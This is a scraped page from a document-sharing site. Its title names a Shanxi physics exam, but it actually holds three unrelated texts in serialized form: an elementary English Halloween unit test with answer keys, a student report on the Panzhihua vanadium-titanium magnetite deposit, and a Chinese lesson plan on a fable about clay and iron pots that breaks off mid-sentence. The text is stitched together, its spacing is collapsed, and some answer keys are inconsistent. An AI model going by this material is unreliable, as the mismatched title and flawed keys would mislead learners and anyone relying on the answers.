山西省忻州市第一中学学年高一下学期假期开学考试物理试题物理图片版Word下载.docx
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10:
{i:
0;s:
13048:
"牛津苏教五上《Unit4Halloween》同步测试题3套@#@五年级英语上册第四单元练习卷@#@姓名班级分数@#@听力部分(30分)@#@一、听录音,选择你所听到的单词。
@#@(每小题读两遍。
@#@10分)@#@()1.A.manyB.makeC.much@#@()2.A.largeB.likeC.lantern@#@()3.A.horseB.houseC.head@#@()4.A.chineseB.changeC.china@#@()5.A.appleB.askC.animal@#@()6.A.helloB.HalloweenC.Helen@#@()7.A.veryB.vaseC.vest@#@()8.A.thinkB.thingC.things@#@()9.A.SaturdayB.SundayC.today@#@()10.A.eggB.elseC.eight@#@二、听录音,选择正确的应答。
@#@(每小题读两遍。
@#@10分)@#@()1.A.Yes,Iam.B.No,itis.C.No,Idon’t.@#@()2.A.YesIdo.B.I’mWangBing.C.Ilikeapples.@#@()3.A.Ilikeflowers.B.Ilikecats.C.Ilikered.@#@()4.A.Weneedsomeflowers.B.Ilikemasks.C.Heneedsavase.@#@()5.A.Hereyouare.B.Yes,itis.C.Somemasks,please.@#@三、听录音,完成下列句子,每空一词。
@#@(每小题读两遍。
@#@10分)@#@1.—Howmuchisthetoy_________?
@#@@#@—________yuan.@#@2.Wewouldliketo___________________forourHalloweenparty.@#@3.Shallwemakea_________?
@#@@#@4.Benandhis__________areinthe__________________.@#@5.Whatdo____________________?
@#@@#@ @#@@#@笔试部分(70分)@#@一、判断下列单词画线部分读音是否相同,相同的用“√”表示,不相同的用“×@#@”表示。
@#@(5分)@#@()1.blackhat()2.hepen()3.wherewho@#@()4.afterdance()5.platecake@#@ @#@@#@ @#@二、翻译下列词组。
@#@(10分)@#@1.你的家庭2.一匹大马@#@3.在门后面4.买东西@#@5.需要一些花6.abusdriver@#@7.aHalloweenparty8.Followme.@#@9.helpme10.pumpkinlanterns@#@三、选择正确的答案,将其序号填入括号内。
@#@(10分)@#@()1.Therearen’tstudentsintheclassroom.@#@A.someB.anyC.a@#@()2.We_______aredcar.@#@A.needB.canC.do@#@()3.—Here________yourmasks.@#@—Thankyou.@#@A.areB.doC.is@#@()4.—What_______youlike?
@#@@#@—Ilike_______.@#@A.are;@#@acatB.are;@#@catsC.do;@#@cats@#@()5.TheylikeswimmingonSundays,_______wedon’t.@#@A.andB.butC.or@#@()6.Thebooksarenice.Howmuch_______?
@#@@#@A.isitB.aretheyC.theyare@#@()7.—Ilikepigs._________you?
@#@@#@— @#@ @#@ @#@Me,too.@#@A.HowB.HowdoC.Howabout@#@()8.__________wewatchTV.@#@A.IntheeveningB.OntheeveningC.Attheevening@#@()9.SometimesMikeandI_________tomusic.@#@A.amlistenB.listenC.listening@#@()10.Iwouldlike________,andI’dlike_______someflowersformymother.@#@A.avase;@#@buyB.somevases;@#@buyingC.avase;@#@tobuy@#@四、从B栏中选出A栏的答语。
@#@(10分)@#@AB@#@()1.Doyoulikechickens?
@#@A.She’sintheplayground.@#@()2.Whatdoyouneed?
@#@B.Eightyuan,please.@#@()3.Howmucharethemasks?
@#@C.No,wedon’t.@#@()4.Let’sgoandsee.D.Therearefive.@#@()5.Arethereanymonkeysinthepark?
@#@E.You’reright.@#@()6.HowmanyTVroomsarethere?
@#@F.Icandanceandsing.@#@()7.Whatcanyoudo?
@#@G.Weneedsomeflowers.@#@()8.Where’sNancy?
@#@H.No,therearen’t.@#@()9.He’sintheroom.I.Afish,please.@#@()10.CanIhelpyou?
@#@J.OK.@#@五、按要求完成下列各句。
@#@(10分)@#@1.Theylikecooking.(改为否定句)@#@They__________________cooking.@#@2.Davidcanplaythepiano.(对划线部分提问)@#@__________canDavid__________?
@#@@#@3.Ilikethepigs.(改为一般疑问句)@#@__________________likethepigs?
@#@@#@4.Arethereanyducks?
@#@(作肯定回答)@#@Yes,___________________.@#@5.There’savaseonthedesk.(改为复数句)@#@There___________________vasesonthedesk.@#@六、根据中文意思完成下列句子。
@#@(10分)@#@1.在万圣节前夕我们需要许多巧克力和一个大南瓜。
@#@@#@Weneeda_______________chocolatesanda________pumpkinforHalloween.@#@2.他的铅笔盒里没钢笔,他没法抄写新单词。
@#@@#@There_______apeninhispencilbox.He________copythe________words.@#@3.我喜欢制作模型飞机。
@#@你会制作模型飞机吗?
@#@@#@Ilike________modelplanes.Canyou_________modelplanes?
@#@@#@4.我会画马,杨玲会画猪。
@#@@#@Icandrawa_________,butYangLingcandrawa__________.@#@七、选择括号里正确的单词填空。
@#@(5分)@#@1.—Where’syourmusicroom?
@#@—It’s__________thefirstfloor.(in,on)@#@2.Thereisn’tacamerahere.I__________takephotos.(can,can’t)@#@3.—What_______youlike?
@#@—Ilikehotdogs.(do,can)@#@4.We_________someEnglishsongsintheEnglishlessons.(listen,learn)@#@5.Thereis_________milkinthebottle.(any,no)@#@八、阅读理解。
@#@(10分)@#@(A)@#@MybrotherandIlivewithmymotherinahouseinSuzhou.Mymother’snameisPeggy.Sheisforty-fiveyearsold.Mybrother’snameisHenry.Heistwenty-two.MynameisJane.Iamtwelveyearsold.@#@Mymotherisdoctor.Sheishard-working.Shedoesn’tworkonSundays.Mybrotherisateacher.Hedoesn’tworkonSaturdaysorSundays.Mymotherlikescookingandreading.MybrotherandIlikereading,butwedon’tlikecooking.SometimeswewatchTVintheevening.Sometimesweplayintheparknearourhouse.Wegotherebybike.@#@Ilovemymotherandbrother.Ilivemyfamily.@#@阅读短文,判断正“√”误“×@#@”。
@#@@#@()1.JaneandherfamilyliveinSuzhou.@#@()2.Jane’smotherisateacher.@#@()3.Jane’sfamilyalllikereading.@#@()4.Janeandherbrotherlikecooking,too.@#@()5.Janecanrideabike.@#@(B)@#@JaneandNancyaregoodfriends.TheyareEnglishgirls.Theyspeak(说)English.@#@Janeisthirteenyearsold.Shecandance.Nancyistwelve.Shecan’tdance,butshecansing.ShecansingmanysongsinChinese.ShecansingmanysongsinChinese.@#@OnSundays,theyplaywiththeirfriends.Theyplaydifferent(不同)games.Somelikebasketball,somelikesinginganddancing,somelikeridingbikes,somelikeflyingkites.Theyarehappy.@#@()1.JaneandNancyare_______.@#@A.sistersB.friendsC.boys@#@()2.Janeis_______,andNancyis_______.@#@A.13;@#@12B.13;@#@14C.11;@#@12@#@()3.Janecan_______,andNancycan_______.@#@A.dance;@#@danceB.sing;@#@danceC.dance;@#@sing@#@()4.Theyplaywiththeirfriends_________.@#@A.onSaturdaysB.onSundaysC.onSaturdaysandSundays@#@()5.Someofthemlike_________.@#@A.flyingkitesandplayingfootball@#@B.speakingEnglish@#@C.singinganddancing@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@听力材料@#@一、听录音,选择你所听到的单词(每小题读两遍)@#@1.many2.lantern3.horse4.change5.animal6.Halloween7.vase@#@8.things9.Saturday10.else@#@二、听录音,选择正确的应答。
@#@(每小题读两遍)@#@1.Doyoulikehorses?
@#@@#@2.Whatdoyoulike?
@#@@#@3.Whatanimalsdoyoulike?
@#@@#@4.Whatelsedoweneed?
@#@@#@5.CanIhelpyou?
@#@@#@三、听录音,完成下列句子,每空一词。
@#@(每小题读三遍)@#@1.A:
@#@Howmuchisthetoypig?
@#@@#@B:
@#@Tenyuan.@#@2.TheywouldliketobuythingsforourHalloweenparty?
@#@@#@3.Shallwemakeamask.@#@4.Benandhisfamilyareinthesittingroom.@#@5.Whatdotheyneed?
@#@@#@参考答案@#@听力部分@#@一、ACABC,BBCAB@#@二、CCBAC@#@三、1.pig,Ten2.buy,things3.mask4.family,sitting,room5.they,need@#@笔试部分@#@一、√×@#@×@#@×@#@√@#@二、1.yourfamily2.abighorse3.behindthedoor@#@4.buythings5.needsomeflowers@#@6.一名公共汽车司机7.一个万圣节聚会8.跟着我@#@9.帮助我10.南瓜灯@#@三、BAACB,BCABC@#@四、CGBFH,DFAEI@#@五、1.don’t,like2.What,do3.Do,you4.there,are5.are,some@#@六、1.lot,of,big2.isn’t,can’t,new3.making,make4.horse,pig@#@5.horse,pig@#@七、1.on2.can’t3.do4.learn5.no@#@八、(A)√×@#@√×@#@√(B)BACBC@#@Unit4Hallowen@#@一、判断下列各组单词中划线部分读音是否相同,用“√”或“×@#@”表示:
@#@@#@( )1.teacherneed( )2.downyellow@#@( )3.vaseskate( )4.floormorning@#@( )5.swingsing( )6.workerdoctor@#@( )7.skiplease( )8.lessionlet@#@( )9.sitchicken( )10.lampcandle@#@二、英汉互译:
@#@@#@1.这些汽车司机2.吃些草莓@#@3.在音乐课上4.李涛和他的父母亲@#@5.一只猴子面具6.杨宁的洋娃娃@#@7.买一些梨8.许多蜡烛@#@9.twoblackhorses10.workinthehospital@#@三、选择填空:
@#@@#@( )1.Helenhasanewskirt,Ihave,too.@#@A.itB.oneC.them@#@( )2.——Isthisyourmask?
@#@@#@——Letme.@#@A.lookitB.thinkC.see@#@( )3.Thetwoareforthe.@#@A.lanterns;@#@girlsB.lanterns;@#@girls’C.lantern;@#@girls@#@( )4.Howmuchthepumpkins?
@#@@#@A.amB.isC.are@#@( )5.Myparentslikeplayingtabletenniswithus.@#@A.doB.don’tC.aren’t@#@( )6.Doyoulike?
@#@@#@A.horseB.duckC.pandas@#@( )7.Where’sBen?
@#@Wecan’thim.@#@A.lookB.findC.havealook@#@( )8.Theyareamathslesson.@#@A.haveingB.haveC.having@#@( )9.rabbitinaredvestlooksveryhappy.@#@A.AB.TheC.An@#@( )10.Theresomeplatesinthecupboard.@#@A.amB.isC.are@#@四、根据要求变换句子:
@#@@#@1.Ilikerabbitlanterns.(改为一般疑问句)@#@yourabbitlanterns?
@#@@#@2.Ilikethistoypig.(改为否定句)@#@.@#@3.Canyouputabookonyourhead?
@#@.(作否定回答)@#@,I.@#@4.Therearesometoyhusesonthefloor.(改为单数句)@#@Thereonthefloor.@#@五、在B栏中找出A栏相应的答句:
@#@@#@AB@#@( )1.Here’salampforyou.A.Yes,Ido.@#@( )2.Where’syourfootball?
@#@B.All,right.@#@( )3.What’sbesidethewindow?
@#@C.That’sallright.@#@( )4.Doyoulikerunning?
@#@D.There’sadesk.@#@( )5.CanIhelpyou?
@#@E.No,itisn’t.@#@( )6.Let’ssinganEnglishsong.F.Thankyou.@#@( )7.Thankyou.G.It’sunderthechair.@#@( )8.Whatcanyoudo?
@#@H.Yes,weneedavase.@#@( )9.Isyourbedroombig?
@#@I.No,thereisn’t.@#@( )10.Isthereatelephoneonyourdesk?
@#@J.Icanskate.@#@六、根据所给情景,完成下列句子:
@#@@#@1.Ilikejumping.youjumping?
@#@No,I.Ilike(游泳).@#@2.CanI?
@#@@#@We,please.(需要一些花)@#@3.theshoes?
@#@@#@Sixty-fiveyuan.@#@4.Wedon’tintheevening.(看电视)@#@5.MyparentsSaturdaysSundays.(不工作)@#@七、判断下列句子是否有错,错的请改正:
@#@@#@1.ListentoI.@#@@#@2.Therearesomewaterintheglass.@#@@#@3.Adollonthebedismysister’s.@#@@#@4.Whosethisnewmask?
@#@@#@@#@5.What’sinyoubedroom?
@#@@#@@#@6.Ilikeswim.@#@@#@Unit4@#@一、1.√2.×@#@3.√4.√5.√6.×@#@7.×@#@8.√9.√10.√@#@二、1.thesebusdrivers2.havesomestrawberries3.atthemusiclesson@#@4.LiTaoandhisparents5.amonkeymask6.YangLing’sdoll@#@7.buysomepears8.manycandles9.两匹黑马10.在医院工作@#@三、1.B2.C3.A4.C5.B6.C7.B8.C9.B10.C@#@四、1.Do,like2.Whatdoyoulike3.No,can’t4.isatoybus@#@五、1.F2.G3.D4.A5.H6.B7.C8.J9.E10.J@#@六、1.Do,like,don’t,swimming2.helpyou,needsomeflowers3.Howmuchare@#@4.watchTV5.don’tworkon,and@#@七、1.错I→me2.错are→is";i:
1;s:
14298:
"攀枝花钒钛磁铁矿@#@四川攀枝花钒钛磁铁矿矿床浅析@#@——020131林少伟@#@1、区域地质简介@#@区内最古老的地层为上震旦系,分两层,下部是蛇绿岩石化大理岩;@#@上部是透辉石和透辉石大理岩互层。
@#@上三叠纪地层在本地区最发育,分布在矿区北部和西北部,其底部是紫红色砂砾岩;@#@上部为灰绿色砂岩与黑色砂页岩互层,含煤。
@#@老第三系紫红色砂砾岩呈水平或近水平,不整合覆盖于老底层之上。
@#@(如图1-1)@#@图1-1@#@攀西地区位于峨眉山大火成岩省的内带,是世界上最大的V-Ti磁铁矿矿集区,其中多处为大型-超大型V-Ti磁铁矿床(Zhou,2005;@#@宋谢炎等,2005;@#@张招崇等,2007;@#@胡瑞忠等,2010)。
@#@沿南北向的磨盘山——元谋断裂和攀枝花断裂带发育一系列含Fe-Ti-V矿的层状基性-超基性岩体,从北向南依次为太和岩体、白马岩体、新街岩体、红格岩体和攀枝花岩体。
@#@@#@攀枝花层状辉长岩体走向北东,倾向北西,倾角50°@#@~60°@#@,长19km,宽2km,厚2000~3000m,出露面积约30km2。
@#@下部主要含矿带厚70~500m,平均210m,其中矿体累计厚度为20~230m,平均130m,沿倾向延伸850m未见变薄(李德惠等,1982;@#@王正允,1982;@#@宋谢炎等,1994)。
@#@后期由于受南北向反扭性平移断裂破坏,自北东向南西可将矿床划分为朱家包包、兰家火山、尖山、刀马坎、公山等赋矿地段(图1-2)。
@#@岩体上盘因断层影响只见三叠纪地层与之呈断层接触。
@#@下盘围岩争议较大,多认为靠近岩体底部的大理岩是岩体底板围岩,并认定属于上震旦统灯影灰岩(图1-2)。
@#@@#@攀枝花岩体自下而上可分为底部边缘带、下部含矿带、中部岩相带、上部含矿带和顶部岩相带等5个岩相带,可划分出五个旋回;@#@上部岩相带则以磷灰石含量的突然增高为标志,韵律层理减弱(王正允,1982;@#@宋谢炎等,1994)。
@#@攀枝花岩体中部岩相带火成韵律构造发育,富含斜长石的辉长岩和富含单斜辉石、橄榄石和钛铁氧化物(包括磁铁矿和少量钛铁矿)的暗色辉长岩交替出现(李德惠等,1982;@#@王正允,1982)。
@#@原生火成韵律构造与岩体产状一致。
@#@岩石中硅酸盐矿物常呈定向排列。
@#@块状矿体主要产于下部岩相带,磁铁辉长岩则产于中部岩相带每个旋回的下部。
@#@@#@图1-2@#@2、矿区地质概况@#@该矿床位于康滇地轴中段西缘的安宁河深大断裂带中,受安宁河深大断裂次一级NE向控制。
@#@含矿辉长岩体呈NE30°@#@方向延展,长35km,宽2km,与震旦纪地层整合接触。
@#@向北西倾斜,呈单斜状(实为务本-攀枝花岩盆状的东南部分)。
@#@岩体内部层状构造明显,不同成分矿物构成的浅色岩和暗色岩相互更叠交替,岩层之间为过渡关系。
@#@原生层状构造与围岩产状一致,硅酸盐矿物均作线状平行排列。
@#@@#@岩体自上而下大体分为五个相带(如图2-1):
@#@@#@1、顶部浅色层状辉长岩带:
@#@厚800米左右,浅色矿物含量超过一半,暗色矿物条带稀疏穿插于其中,此岩层与顶部三叠系岩层呈断层接触关系,含矿性差。
@#@@#@2、上部暗色层状辉长岩含矿带(Ⅱ、Ⅰ带):
@#@厚10—100m,主要是铁辉长岩,夹有少量浸染状矿石。
@#@其中磷灰石含量丰富,过15%。
@#@@#@3、中部暗色层状辉长岩带:
@#@主要是暗色矿物含量高,超过55%,形成密集条带状,夹有含铁辉长岩薄层纪钒钛磁铁矿石条带,共包括四个矿带(Ⅵ、Ⅴ、Ⅳ、Ⅲ带)。
@#@厚度在150--600m之间。
@#@@#@4、下部中粗粒层状辉长岩含矿层:
@#@厚60--500m,这是主要含矿层。
@#@由各种类型的钒钛磁铁矿矿石组成,夹有含层状暗色辉长岩,共包括四个矿带(Ⅵ、Ⅶ、Ⅷ、Ⅸ带)。
@#@与边缘带成过渡关系。
@#@@#@5、边缘带:
@#@以暗色细粒辉长岩为主,厚度变化大,10--300m不等,其顶部为数米厚的橄榄岩及相应岩层,底部与大理石接触并变质为角闪片岩,含矿性差。
@#@@#@此外岩体各个岩相带、成矿带、铁矿石带岩层均与原生地层产状一致,大体NE60°@#@,倾向NW,倾角较为陡。
@#@@#@图2-1@#@3、矿床地质特征@#@1.矿体特征@#@主要是矿体呈层状,似层状,产于辉长岩中,可以划分两个含矿带。
@#@@#@上部含矿带:
@#@位于暗色层状辉长岩中部,分布稳定。
@#@呈层状,似层状。
@#@长15km,平均厚度60m,矿层累计平均厚度18m。
@#@大部分为表外矿石和稀疏浸染状矿石。
@#@倒马坎矿段矿石平均品位:
@#@TFe为24.82%、TiO2为7.20%、V2O5为0.08%。
@#@其标准剖面为:
@#@@#@ @#@@#@上覆岩石:
@#@顶部层状辉长岩@#@上矿层:
@#@富含辉石型稀疏浸染状矿层(1.71m)@#@(Ⅰ矿体)含稀疏浸染矿带辉长岩(6.82m)@#@层状辉长岩(30m)@#@下矿层:
@#@富含辉石型稀疏浸染状矿层(5.07m)@#@(Ⅱ矿体)层状辉长岩(2.10m)@#@含铁层状辉长岩(表外矿)(5.75m)@#@富含辉石型稀疏浸染状矿层(7.50m)@#@下伏岩石:
@#@暗色层状辉长岩@#@底部含矿带:
@#@矿床规模大,在整个辉长岩体下部稳定分布。
@#@含矿层最后500m(朱家包包),矿层累计厚度230m。
@#@公山段含矿层最薄(70m),矿层累计厚度20m。
@#@整个含矿层平均厚度210m,矿层累计厚度130m,含矿率65%。
@#@@#@该矿层带自下向上可分为7个矿体:
@#@粗粒辉长岩中的浸染状矿体(Ⅸ矿体),底部致密块状矿层(Ⅷ矿体),暗黑色层状中条带状矿层(Ⅶ矿体),稠密浸染状矿层(Ⅵ矿体),稀疏浸染状矿层(Ⅴ矿体),星散状矿层(Ⅳ矿体),表外条带状矿层(Ⅲ矿体)。
@#@@#@下面为部分围岩的照片及描述:
@#@@#@@#@PZH-1角闪正长岩:
@#@灰白色,细粒,块状构造,主要矿物:
@#@角闪石、辉石、正长石、斜长石、少量磁铁矿。
@#@局部可见褐铁矿假晶。
@#@角闪石、辉石总约占35%,长石占50%,黄铁矿、磁铁矿占5%。
@#@@#@PZH-3辉长岩:
@#@灰黑色,夹白色长石,块状构造,主要矿物:
@#@辉石、长石、少量磁铁矿。
@#@长石呈柱状、针状。
@#@辉石约占75%,长石占15%,磁铁矿占5%。
@#@@#@ @#@@#@PZH-7辉长岩:
@#@灰白色,细粒,块状构造,主要矿物:
@#@辉石、长石、石英,部分橄榄石,含少量磁铁矿,少部分褐色呈褐铁矿化。
@#@辉石占55%,斜长石占40%,磁铁矿占5%。
@#@@#@PZH-4辉石岩:
@#@深黑色,细粒,块状构造,主要矿物:
@#@辉石,极少量磁铁矿,有解理,表面风化成褐铁矿,还有少量黑云母。
@#@辉石占75%,黑云母占10%,磁铁矿占5%。
@#@@#@2、矿石特征@#@攀枝花式钒钛磁铁矿是一种伴生钒、钛、钴等多种元素的磁铁矿,其矿石储量居我国铁矿储量第二位(占15%左右),矿石可选性良好,其矿物组成、嵌布特性与一般磁铁矿有明显的差别。
@#@矿石中主要金属矿物为含钒钛磁铁矿、钛铁矿,另外有极少量的磁铁矿、赤铁矿、褐铁矿、针铁矿等;@#@硫化物以磁黄铁矿为主;@#@脉石矿物以钛普通辉石、斜长石为主。
@#@铁不但赋存于钒钛磁铁矿中,而且在钛铁矿、硅酸盐矿物和硫化矿物中都含一定数量的铁。
@#@@#@主要矿石有两种:
@#@氧化矿石和稠密浸染状磁铁矿。
@#@下面分别描述:
@#@@#@PZH-6氧化矿石:
@#@褐黄色,中细粒,块状构造,它形粒状结构。
@#@磁铁矿为灰黑色,中细粒,硬度6,含量70%,表面氧化成褐铁矿;@#@辉石为黑色,中细粒,硬度5-6,含量25%;@#@极少部分有黄铁矿。
@#@@#@PZH-2含星点状黄铁矿辉长岩:
@#@灰黑色,中细粒,它形粒状结构,浸染状构造,黄铁矿呈星点状分布,有部分褐铁矿化;@#@可见橄榄石,部分蛇纹石化;@#@有少量长石、大量辉石,少部分高岭土化,其中夹有磁铁矿分布。
@#@辉石占70%,黄铁矿占5%,磁铁矿占10%,斜长石占10%,橄榄石占3%。
@#@@#@PZH-5稠密侵染状磁铁矿:
@#@深黑色,中细粒,它形粒状结构,稠密浸染状构造,主要矿石矿物为磁铁矿,含有少量黄铁矿。
@#@磁铁矿,灰黑色,中细粒,硬度5.5以下,具有磁性,含量85%;@#@黄铁矿为黄色,自形粒状结构,硬度6,含量10%;@#@少部分橄榄石,有些蛇纹石化;@#@表面有些氧化,部分褐铁矿化,绿帘石化。
@#@@#@脉石矿物:
@#@辉石,黑色,不发亮。
@#@@#@3、矿物组合与成矿期、成矿阶段@#@按矿物共生组合及产出特点划分,矿石有以下组合:
@#@@#@金属矿物(钒钛磁铁矿组合):
@#@钛磁铁矿、钛铁晶石、钛铁矿、尖晶石。
@#@@#@硫化物组合:
@#@磁黄铁矿、黄铜矿、镍黄铜矿。
@#@@#@氧化带矿物组合:
@#@磁赤铁矿、假像赤铁矿、褐铁矿。
@#@@#@非金属矿物:
@#@@#@主要造岩矿物:
@#@拉长石、异剥辉石、角闪石、橄榄石、磷灰石。
@#@@#@次生硅酸盐矿物:
@#@透闪石、绿泥石、蛇纹石等。
@#@@#@矿石中有用组分为铁、钛、钒、锰、钴、镍、铜和铂族元素等。
@#@钒主要赋存在钛磁铁矿中。
@#@锰以类质同象替代存在于钛铁矿、钛磁铁矿,脉石矿物中。
@#@其他元素均有类质同象替代进入矿石中。
@#@钴、镍、铜以独立矿物形式为主,类质同象次之。
@#@钪以类质同象方式取代普通辉石,钛角闪石、黑云母和钛铁矿中的Mg2+、Fe2+、Fe3+、Al3+。
@#@@#@根据攀枝花铁矿床特征,对矿体围岩岩石辉长岩、钛磁铁矿矿石进行了分析。
@#@将攀枝花铁矿床的成岩-成矿过程可划分为4个期次:
@#@成岩期、主成矿期、次成矿期和表生期。
@#@成岩期,主要是形成辉长岩体,主成矿期是为岩浆期形成的铁矿,次成矿期主要为热液期形成硫化物矿。
@#@主成矿期形成的铁矿石层中的岩石、铁矿石和钛磁铁矿是同期产物。
@#@热液期形成的黄铁矿与主成矿期相比,显示其为次成矿期的产物。
@#@@#@根据矿石的组构变化特征及金属矿物的结晶成矿作用过程,在一个矿层内,其底部铁钛金属矿物属早期结晶形成的,而上部却又晚于脉石矿物结晶;@#@就多个矿层而言,后期岩浆贯入形成的底部早结晶的磁铁矿,虽然在该层内属早期结晶产物,但它的形成时间却晚于先期岩浆贯入形成的晚结晶的磁铁矿。
@#@基于上述特征,攀枝花钒钛磁铁矿床金属矿物的形成没有绝对的时间早晚之分。
@#@它是富铁钛氧化物熔融体多期次贯入,矿石矿物与脉石矿物韵律式交替成核结晶形成的。
@#@总之过程有:
@#@@#@1、在冷凝带形成后早期岩浆结晶;@#@@#@2、先后结晶的硅酸盐矿物因比重不同按重力关系占据各自的位置;@#@@#@3、富矿残浆通过粒间空隙向下集中,较晚结晶的比重较小的硅酸岩晶体上浮(此阶段冷凝结晶则形成层状矿体)@#@4、在外力作用下富矿残浆经压滤作用沿裂隙贯入形成贯入矿体。
@#@@#@4、成矿浅析@#@1、成矿条件@#@据Rb—Sr法同位素测年资料,含矿岩体主要形成于海西晚期。
@#@成矿岩体的Sr、Nd和Pb同位素组成特征表明成矿岩体与峨嵋大火成岩省有成因联系,岩浆来自于深部的地幔柱。
@#@首先,岩浆中含有大量Fe,Ti,P,F和挥发性组分,在熔离作用下使部分铁质以富矿浆形式析离出来。
@#@之后由于岩浆中存在稳定的铁钛氧化物的熔融体与硅酸盐熔融体,因密度的差异,铁钛氧化物熔融体下沉而硅酸盐熔融体相对上浮,造成原始岩浆中两种成分的相对集中,岩浆上部形成富硅酸盐熔融体,下部形成富铁钛氧化物熔融体。
@#@随着构造活动的发生,岩浆房上部的富硅酸盐熔融体首先进入围岩,由于围岩温度很低,刚侵入的岩浆迅速冷却,在内接触带上产生结晶细小的冷凝边,形成岩体底部的细晶辉长岩;@#@而后冷凝结晶作用自围岩底板向上推移,岩浆逐渐冷凝结晶形成上部辉长岩体。
@#@而后期构造活动使岩浆房下部的富铁钛氧化物熔融体多期次贯入辉长岩体中形成韵律式层状矿体。
@#@之后在多次构造作用下形成了庞大的矿体。
@#@@#@2、成矿作用及控矿要素@#@首先是岩浆的熔离作用,使岩浆变为不同的熔体相,富含不同元素。
@#@之后则通过岩浆结晶分异作用形成矿床。
@#@矿床的不同韵律层得矿石具有不同的结构特征,韵律层上部具有海绵陨铁结构为主的矿体属晚期岩浆结晶分异成因,而韵律层下部多有自形结构的矿体属于早期岩浆分结矿床,在岩浆分异过程中,重力分异起了主导作用。
@#@其主要的控矿因素是岩浆活动,其次是构造和地层岩相。
@#@@#@3、矿床成因类型@#@攀枝花钒钛磁铁矿床,属于岩浆分异矿床。
@#@处于地幔热点之上的深部巨大岩浆房为幔源镁铁质岩浆的充分分异与成矿提供了优越条件。
@#@磁铁矿、钛铁矿的晶出一般在较晚阶段,但因岩体而异,且金属矿物的形成没有绝对的时间早晚之分。
@#@而且在Ⅵ矿带中,还发生岩浆熔离作用形成有海绵陨铁结构的磁黄铁矿。
@#@因此,不宜将攀枝花钒钛磁铁矿矿床划分为绝对的早期或晚期岩浆矿床,但也不能划为单一的岩浆熔离矿床。
@#@它是富铁钛氧化物熔融体多期次贯入,矿石矿物与脉石矿物韵律式交替成核结晶形成的,我们姑且称这种成矿作用为韵律式成矿作用,形成的矿床叫岩浆韵律式矿床。
@#@@#@ @#@@#@班级:
@#@020131姓名:
@#@林少伟@#@学号:
@#@20131002460@#@";i:
2;s:
27154:
"三年级语文《陶罐和铁罐》教学案例@#@三年级语文《陶罐和铁罐》教学案例@#@篇一:
@#@《陶罐和铁罐》教学案例@#@《陶罐和铁罐》教学案例@#@宣风镇中心学校陈燕双@#@教材分析:
@#@@#@本篇课文是一篇寓言故事,看似简单,却寓意深刻。
@#@向我们讲述着深刻的道理。
@#@文章前半局部向我们讲述了在国王的御厨里有两只罐子,一只是陶的,一只是铁的,骄傲的铁罐瞧不起陶罐,经常奚落他。
@#@后半局部向我们介绍了许多年后,当人们挖掘出陶罐的时候,铁罐却已经无影无踪了。
@#@文章虽然简短,但是,陶罐与铁罐的态度差异通过人物语言表现得非常明显,这和最后的结局形成了强烈的反差。
@#@@#@本文运用大量的对话来向我们展示两只不同的罐子,让我们深深体会到陶罐的谦虚,铁罐的傲慢。
@#@文章中的一些词语也说明了这一点。
@#@如骄傲、看不起、傲慢、奚落、谦虚、轻蔑、争辩、愤怒等很多。
@#@@#@文章以两只罐子的对话为线索,故事告诉我们,每个人都有长处和短处,要善于看到别人的长处,正视自己的短处,相互尊重,和睦相处。
@#@@#@文章的重点在于让学生在理解课文内容的根底上,学会全面的看问题,要发现别人的长处,正视自己的短处。
@#@这也是教学的难点。
@#@@#@知识与技能目标:
@#@@#@1.正确认读十一个生字,会写十二个生字。
@#@@#@2.朗读中体会铁罐的傲慢无理和陶罐的谦虚克制,做到正确、流利、有感情的朗读课文。
@#@@#@3.了解课文中的故事内容,了解语言蕴含的道理,思考陶罐和铁罐的最终结局。
@#@@#@教学重难点:
@#@@#@学习课文,抓住文中描写人物的动作、神态和语言的语句,体会铁罐的傲慢无理和陶罐的谦虚而不软弱。
@#@@#@过程与方法目标:
@#@@#@1.进行自主识字,提高学生随文理解词意的能力,同时提高学生的阅读能力。
@#@@#@2.通过朗读课文,指导学生边读边想象,培养学生的想象力。
@#@@#@3.自编、自导、自演《陶罐和铁罐》课本剧,用独特的语言及形体动作演绎这个故事。
@#@@#@教学过程:
@#@@#@一、复习导入@#@1.自由朗读课文,回忆课文讲了一件什么事情?
@#@@#@2.上节课我们说课文可以分为两个局部,1——9自然段讲〔〕,10——17讲〔〕。
@#@@#@二、学习1——9自然段@#@——9自然段,想一想这9个自然段主要写的是〔人物的对话〕。
@#@@#@2.是的,大多数都是陶罐和铁罐的对话,请你根据导学,学习1——9自然段。
@#@@#@导学:
@#@@#@①自己读一读,用波浪线画出描写陶罐、铁罐的神态的词语。
@#@@#@②小组合作内说说这是个怎样的陶罐?
@#@是个怎样的铁罐?
@#@你从哪里感受到的?
@#@@#@3.小组汇报。
@#@@#@①师:
@#@说说,你找到了哪些?
@#@@#@生:
@#@我找到的是“你敢碰我吗?
@#@陶罐子!
@#@〞铁罐傲慢地说。
@#@@#@师:
@#@哦,他抓住了铁罐的语言和神态来充分表达它对陶罐的奚落,真好!
@#@谁能来做做“傲慢〞的动作?
@#@这句话中还有哪里可以看出铁对陶的瞧不起?
@#@生:
@#@“陶罐子〞铁罐对陶罐的称呼感受到了铁罐子的傲慢@#@师:
@#@谁能读一读,点人读,生评后再读,全班读@#@②你还找到了哪些句子?
@#@@#@过程:
@#@读句子2@#@师:
@#@从哪里看出铁对陶的奚落的?
@#@@#@生:
@#@“我就知道你不敢,懦弱的东西!
@#@〞@#@这次铁又是什么样的神态〔轻蔑〕@#@谁来读出轻蔑的语气,听到同学们读,老师也想读一读,那老师来读铁说的话,你们来读旁白好吗?
@#@@#@③铁从傲慢变为轻蔑,那接下来铁罐会怎样呢?
@#@找一找接下来描写铁的句子@#@生:
@#@铁罐开始恼怒了。
@#@师:
@#@自己做一做。
@#@点拨:
@#@他瞪着眼,他还气得手指着对方,他在跺脚呢〔用各种动作表情形象化“恼怒〞〕@#@师:
@#@恼羞成怒的铁奚落陶的语言一定更尖刻了,听听,他都说些什么?
@#@指名读@#@④铁第三次奚落陶了,这使得铁已经生气了,那接下来呢第四次铁罐是怎么奚落陶的?
@#@@#@⑤同位之间分角色把铁四次说的话读一读@#@⑥好,下面老师来引读,一组读一次话,第一组读铁罐第一次说的话,第二组读第二次的话,清楚了吗?
@#@@#@〔教师引读:
